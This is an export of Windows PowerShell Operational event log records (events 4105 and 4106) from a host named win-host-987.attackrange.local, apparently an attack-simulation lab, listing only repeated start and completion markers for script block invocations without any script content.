User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051515
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051514
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051513
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051512
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051511
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051510
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051509
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051508
Keywords=None
Message=Completed invocation of ScriptBlock ID: 268e22bf-bf2c-4355-ab8a-c92a26317c43
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051507
Keywords=None
Message=Started invocation of ScriptBlock ID: 268e22bf-bf2c-4355-ab8a-c92a26317c43
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051506
Keywords=None
Message=Completed invocation of ScriptBlock ID: 268e22bf-bf2c-4355-ab8a-c92a26317c43
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051505
Keywords=None
Message=Started invocation of ScriptBlock ID: 268e22bf-bf2c-4355-ab8a-c92a26317c43
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051504
Keywords=None
Message=Completed invocation of ScriptBlock ID: 268e22bf-bf2c-4355-ab8a-c92a26317c43
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051503
Keywords=None
Message=Started invocation of ScriptBlock ID: 268e22bf-bf2c-4355-ab8a-c92a26317c43
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051502
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051501
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051500
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051499
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051498
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051497
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051496
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051495
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051494
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051493
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051492
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051491
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051490
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051489
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051488
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051487
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051486
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051485
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051484
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051483
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051482
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051481
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051480
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051479
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051478
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051477
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051476
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051475
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051474
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051473
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051472
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051471
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051470
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051469
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051468
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051467
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051466
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051465
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051464
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051463
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051462
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
